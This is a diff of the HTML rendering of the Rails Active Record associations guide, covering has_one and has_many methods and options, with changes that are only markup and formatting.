<table><tr>
<td class="icon">
@@ -1140,7 +928,7 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h5 id="_tt_include_tt"><tt>:include</tt></h5>
-<div class="para"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p></div>
+<div class="paragraph"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1155,9 +943,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you frequently retrieve customers directly from line items (<tt>@line_item.order.customer</tt>), then you can make your code somewhat more efficient by including customers in the association from line items to orders:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If you frequently retrieve customers directly from line items (<tt>@line_item.order.customer</tt>), then you can make your code somewhat more efficient by including customers in the association from line items to orders:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1172,22 +959,21 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">There's no need to use <tt>:include</tt> for immediate associations - that is, if you have <tt>Order belongs_to :customer</tt>, then the customer is eager-loaded automatically when it's needed.</td>
+<td class="content">There&#8217;s no need to use <tt>:include</tt> for immediate associations - that is, if you have <tt>Order belongs_to :customer</tt>, then the customer is eager-loaded automatically when it&#8217;s needed.</td>
</tr></table>
</div>
<h5 id="_tt_polymorphic_tt"><tt>:polymorphic</tt></h5>
-<div class="para"><p>Passing <tt>true</tt> to the <tt>:polymorphic</tt> option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.</p></div>
+<div class="paragraph"><p>Passing <tt>true</tt> to the <tt>:polymorphic</tt> option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.</p></div>
<h5 id="_tt_readonly_tt"><tt>:readonly</tt></h5>
-<div class="para"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated object will be read-only when retrieved via the association.</p></div>
+<div class="paragraph"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated object will be read-only when retrieved via the association.</p></div>
<h5 id="_tt_select_tt"><tt>:select</tt></h5>
-<div class="para"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.</p></div>
+<div class="paragraph"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1197,14 +983,14 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h5 id="_tt_validate_tt"><tt>:validate</tt></h5>
-<div class="para"><p>If you set the <tt>:validate</tt> option to <tt>true</tt>, then associated objects will be validated whenever you save this object. By default, this is <tt>false</tt>: associated objects will not be validated when this object is saved.</p></div>
+<div class="paragraph"><p>If you set the <tt>:validate</tt> option to <tt>true</tt>, then associated objects will be validated whenever you save this object. By default, this is <tt>false</tt>: associated objects will not be validated when this object is saved.</p></div>
<h4 id="_when_are_objects_saved">4.1.3. When are Objects Saved?</h4>
-<div class="para"><p>Assigning an object to a <tt>belongs_to</tt> association does <em>not</em> automatically save the object. It does not save the associated object either.</p></div>
+<div class="paragraph"><p>Assigning an object to a <tt>belongs_to</tt> association does <em>not</em> automatically save the object. It does not save the associated object either.</p></div>
<h3 id="_the_has_one_association">4.2. The has_one Association</h3>
-<div class="para"><p>The <tt>has_one</tt> association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use <tt>belongs_to</tt> instead.</p></div>
+<div class="paragraph"><p>The <tt>has_one</tt> association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use <tt>belongs_to</tt> instead.</p></div>
<h4 id="_methods_added_by_tt_has_one_tt">4.2.1. Methods Added by <tt>has_one</tt></h4>
-<div class="para"><p>When you declare a <tt>has_one</tt> association, the declaring class automatically gains five methods related to the association:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>When you declare a <tt>has_one</tt> association, the declaring class automatically gains five methods related to the association:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt><em>association</em>(force_reload = false)</tt>
@@ -1231,7 +1017,7 @@ http://www.gnu.org/software/src-highlite -->
</p>
</li>
</ul></div>
-<div class="para"><p>In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to <tt>has_one</tt>. For example, given the declaration:</p></div>
+<div class="paragraph"><p>In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to <tt>has_one</tt>. For example, given the declaration:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1239,9 +1025,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_one <span style="color: #990000">:</span>account
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Each instance of the <tt>Supplier</tt> model will have these methods:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Each instance of the <tt>Supplier</tt> model will have these methods:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1251,29 +1036,26 @@ http://www.gnu.org/software/src-highlite -->
account<span style="color: #990000">=</span>
account<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
build_account
-create_account
-</tt></pre></div></div>
+create_account</tt></pre></div></div>
<h5 id="_tt_em_association_em_force_reload_false_tt_2"><tt><em>association</em>(force_reload = false)</tt></h5>
-<div class="para"><p>The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns <tt>nil</tt>.</p></div>
+<div class="paragraph"><p>The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns <tt>nil</tt>.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@account</span> <span style="color: #990000">=</span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>account
-</tt></pre></div></div>
-<div class="para"><p>If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass <tt>true</tt> as the <tt>force_reload</tt> argument.</p></div>
+<pre><tt><span style="color: #009900">@account</span> <span style="color: #990000">=</span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>account</tt></pre></div></div>
+<div class="paragraph"><p>If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass <tt>true</tt> as the <tt>force_reload</tt> argument.</p></div>
<h5 id="_tt_em_association_em_associate_tt_2"><tt><em>association</em>=(associate)</tt></h5>
-<div class="para"><p>The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.</p></div>
+<div class="paragraph"><p>The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object&#8217;s foreign key to the same value.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@suppler</span><span style="color: #990000">.</span>account <span style="color: #990000">=</span> <span style="color: #009900">@account</span>
-</tt></pre></div></div>
+<pre><tt><span style="color: #009900">@suppler</span><span style="color: #990000">.</span>account <span style="color: #990000">=</span> <span style="color: #009900">@account</span></tt></pre></div></div>
<h5 id="_tt_em_association_em_nil_tt_2"><tt><em>association</em>.nil?</tt></h5>
-<div class="para"><p>The <tt><em>association</em>.nil?</tt> method returns <tt>true</tt> if there is no associated object.</p></div>
+<div class="paragraph"><p>The <tt><em>association</em>.nil?</tt> method returns <tt>true</tt> if there is no associated object.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1281,28 +1063,25 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>account<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
<span style="color: #009900">@msg</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"No account found for this supplier"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_tt_build_em_association_em_attributes_tt_2"><tt>build<em>_association</em>(attributes = {})</tt></h5>
-<div class="para"><p>The <tt>build<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.</p></div>
+<div class="paragraph"><p>The <tt>build<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will <em>not</em> yet be saved.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@account</span> <span style="color: #990000">=</span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>build_account<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>terms <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Net 30"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
+<pre><tt><span style="color: #009900">@account</span> <span style="color: #990000">=</span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>build_account<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>terms <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Net 30"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
<h5 id="_tt_create_em_association_em_attributes_tt_2"><tt>create<em>_association</em>(attributes = {})</tt></h5>
-<div class="para"><p>The <tt>create<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).</p></div>
+<div class="paragraph"><p>The <tt>create<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object <em>will</em> be saved (assuming that it passes any validations).</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@account</span> <span style="color: #990000">=</span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>create_account<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>terms <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Net 30"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
+<pre><tt><span style="color: #009900">@account</span> <span style="color: #990000">=</span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>create_account<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>terms <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Net 30"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
<h4 id="_options_for_tt_has_one_tt">4.2.2. Options for <tt>has_one</tt></h4>
-<div class="para"><p>In many situations, you can use the default behavior of <tt>has_one</tt> without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>has_one</tt> association. For example, an association with several options might look like this:</p></div>
+<div class="paragraph"><p>In many situations, you can use the default behavior of <tt>has_one</tt> without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>has_one</tt> association. For example, an association with several options might look like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1310,10 +1089,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Billing"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>dependent <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>nullify
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>has_one</tt> association supports these options:</p></div>
-<div class="ilist"><ul>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>has_one</tt> association supports these options:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>:as</tt>
@@ -1386,9 +1164,9 @@ http://www.gnu.org/software/src-highlite -->
</li>
</ul></div>
<h5 id="_tt_as_tt"><tt>:as</tt></h5>
-<div class="para"><p>Setting the <tt>:as</tt> option indicates that this is a polymorphic association. Polymorphic associations are discussed in detail later in this guide.</p></div>
+<div class="paragraph"><p>Setting the <tt>:as</tt> option indicates that this is a polymorphic association. Polymorphic associations are discussed in detail later in this guide.</p></div>
<h5 id="_tt_class_name_tt_2"><tt>:class_name</tt></h5>
-<div class="para"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you'd set things up this way:</p></div>
+<div class="paragraph"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you&#8217;d set things up this way:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1396,10 +1174,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Billing"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_tt_conditions_tt_2"><tt>:conditions</tt></h5>
-<div class="para"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
+<div class="paragraph"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1407,12 +1184,11 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"confirmed = 1"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_tt_dependent_tt_2"><tt>:dependent</tt></h5>
-<div class="para"><p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the destroy method on the associated object to delete that object. If you set the <tt>:dependent</tt> option to <tt>:delete</tt>, then deleting this object will delete the associated object <em>without</em> calling its <tt>destroy</tt> method. If you set the <tt>:dependent</tt> option to <tt>:nullify</tt>, then deleting this object will set the foreign key in the association object to <tt>NULL</tt>.</p></div>
+<div class="paragraph"><p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the destroy method on the associated object to delete that object. If you set the <tt>:dependent</tt> option to <tt>:delete</tt>, then deleting this object will delete the associated object <em>without</em> calling its <tt>destroy</tt> method. If you set the <tt>:dependent</tt> option to <tt>:nullify</tt>, then deleting this object will set the foreign key in the association object to <tt>NULL</tt>.</p></div>
<h5 id="_tt_foreign_key_tt_2"><tt>:foreign_key</tt></h5>
-<div class="para"><p>By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
+<div class="paragraph"><p>By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1420,8 +1196,7 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"supp_id"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1431,7 +1206,7 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h5 id="_tt_include_tt_2"><tt>:include</tt></h5>
-<div class="para"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p></div>
+<div class="paragraph"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1446,9 +1221,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Representative <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>accounts
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you frequently retrieve representatives directly from suppliers (<tt>@supplier.account.representative</tt>), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If you frequently retrieve representatives directly from suppliers (<tt>@supplier.account.representative</tt>), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1463,34 +1237,33 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Representative <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>accounts
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_tt_order_tt"><tt>:order</tt></h5>
-<div class="para"><p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by a SQL <tt>ORDER BY</tt> clause). Because a <tt>has_one</tt> association will only retrieve a single associated object, this option should not be needed.</p></div>
+<div class="paragraph"><p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by a SQL <tt>ORDER BY</tt> clause). Because a <tt>has_one</tt> association will only retrieve a single associated object, this option should not be needed.</p></div>
<h5 id="_tt_primary_key_tt"><tt>:primary_key</tt></h5>
-<div class="para"><p>By convention, Rails guesses that the column used to hold the primary key of this model is <tt>id</tt>. You can override this and explicitly specify the primary key with the <tt>:primary_key</tt> option.</p></div>
+<div class="paragraph"><p>By convention, Rails guesses that the column used to hold the primary key of this model is <tt>id</tt>. You can override this and explicitly specify the primary key with the <tt>:primary_key</tt> option.</p></div>
<h5 id="_tt_readonly_tt_2"><tt>:readonly</tt></h5>
-<div class="para"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated object will be read-only when retrieved via the association.</p></div>
+<div class="paragraph"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated object will be read-only when retrieved via the association.</p></div>
<h5 id="_tt_select_tt_2"><tt>:select</tt></h5>
-<div class="para"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.</p></div>
+<div class="paragraph"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.</p></div>
<h5 id="_tt_source_tt"><tt>:source</tt></h5>
-<div class="para"><p>The <tt>:source</tt> option specifies the source association name for a <tt>has_one :through</tt> association.</p></div>
+<div class="paragraph"><p>The <tt>:source</tt> option specifies the source association name for a <tt>has_one :through</tt> association.</p></div>
<h5 id="_tt_source_type_tt"><tt>:source_type</tt></h5>
-<div class="para"><p>The <tt>:source_type</tt> option specifies the source association type for a <tt>has_one :through</tt> association that proceeds through a polymorphic association.</p></div>
+<div class="paragraph"><p>The <tt>:source_type</tt> option specifies the source association type for a <tt>has_one :through</tt> association that proceeds through a polymorphic association.</p></div>
<h5 id="_tt_through_tt"><tt>:through</tt></h5>
-<div class="para"><p>The <tt>:through</tt> option specifies a join model through which to perform the query. <tt>has_one :through</tt> associations are discussed in detail later in this guide.</p></div>
+<div class="paragraph"><p>The <tt>:through</tt> option specifies a join model through which to perform the query. <tt>has_one :through</tt> associations are discussed in detail later in this guide.</p></div>
<h5 id="_tt_validate_tt_2"><tt>:validate</tt></h5>
-<div class="para"><p>If you set the <tt>:validate</tt> option to <tt>true</tt>, then associated objects will be validated whenever you save this object. By default, this is <tt>false</tt>: associated objects will not be validated when this object is saved.</p></div>
+<div class="paragraph"><p>If you set the <tt>:validate</tt> option to <tt>true</tt>, then associated objects will be validated whenever you save this object. By default, this is <tt>false</tt>: associated objects will not be validated when this object is saved.</p></div>
<h4 id="_when_are_objects_saved_2">4.2.3. When are Objects Saved?</h4>
-<div class="para"><p>When you assign an object to a <tt>has_one</tt> association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.</p></div>
-<div class="para"><p>If either of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p></div>
-<div class="para"><p>If the parent object (the one declaring the <tt>has_one</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved.</p></div>
-<div class="para"><p>If you want to assign an object to a <tt>has_one</tt> association without saving the object, use the <tt>association.build</tt> method.</p></div>
+<div class="paragraph"><p>When you assign an object to a <tt>has_one</tt> association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.</p></div>
+<div class="paragraph"><p>If either of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p></div>
+<div class="paragraph"><p>If the parent object (the one declaring the <tt>has_one</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved.</p></div>
+<div class="paragraph"><p>If you want to assign an object to a <tt>has_one</tt> association without saving the object, use the <tt>association.build</tt> method.</p></div>
<h3 id="_the_has_many_association">4.3. The has_many Association</h3>
-<div class="para"><p>The <tt>has_many</tt> association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.</p></div>
+<div class="paragraph"><p>The <tt>has_many</tt> association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.</p></div>
<h4 id="_methods_added">4.3.1. Methods Added</h4>
-<div class="para"><p>When you declare a <tt>has_many</tt> association, the declaring class automatically gains 13 methods related to the association:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>When you declare a <tt>has_many</tt> association, the declaring class automatically gains 13 methods related to the association:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt><em>collection</em>(force_reload = false)</tt>
@@ -1498,12 +1271,12 @@ http://www.gnu.org/software/src-highlite -->
</li>
<li>
<p>
-<tt><em>collection</em>&lt;&lt;(object, &#8230;)</tt>
+<tt><em>collection</em>&lt;&lt;(object, ...)</tt>
</p>
</li>
<li>
<p>
-<tt><em>collection</em>.delete(object, &#8230;)</tt>
+<tt><em>collection</em>.delete(object, ...)</tt>
</p>
</li>
<li>
@@ -1513,12 +1286,12 @@ http://www.gnu.org/software/src-highlite -->
</li>
<li>
<p>
-<tt><em>collection_singular</em>_ids</tt>
+<tt><em>collection\_singular</em>\_ids</tt>
</p>
</li>
<li>
<p>
-<tt><em>collection_singular</em>_ids=ids</tt>
+<tt><em>collection\_singular</em>\_ids=ids</tt>
</p>
</li>
<li>
@@ -1538,17 +1311,17 @@ http://www.gnu.org/software/src-highlite -->
</li>
<li>
<p>
-<tt><em>collection</em>.find(&#8230;)</tt>
+<tt><em>collection</em>.find(...)</tt>
</p>
</li>
<li>
<p>
-<tt><em>collection</em>.exist?(&#8230;)</tt>
+<tt><em>collection</em>.exist?(...)</tt>
</p>
</li>
<li>
<p>
-<tt><em>collection</em>.build(attributes = {}, &#8230;)</tt>
+<tt><em>collection</em>.build(attributes = {}, ...)</tt>
</p>
</li>
<li>
@@ -1557,7 +1330,7 @@ http://www.gnu.org/software/src-highlite -->
</p>
</li>
</ul></div>
-<div class="para"><p>In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to <tt>has_many</tt>, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:</p></div>
+<div class="paragraph"><p>In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to <tt>has_many</tt>, and <tt><em>collection\_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1565,9 +1338,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Each instance of the customer model will have these methods:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Each instance of the customer model will have these methods:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1585,60 +1357,55 @@ orders<span style="color: #990000">.</span>size
orders<span style="color: #990000">.</span>find<span style="color: #990000">(...)</span>
orders<span style="color: #990000">.</span>exist?<span style="color: #990000">(...)</span>
orders<span style="color: #990000">.</span>build<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">,</span> <span style="color: #990000">...)</span>
-orders<span style="color: #990000">.</span>create<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
+orders<span style="color: #990000">.</span>create<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span></tt></pre></div></div>
<h5 id="_tt_em_collection_em_force_reload_false_tt"><tt><em>collection</em>(force_reload = false)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.</p></div>
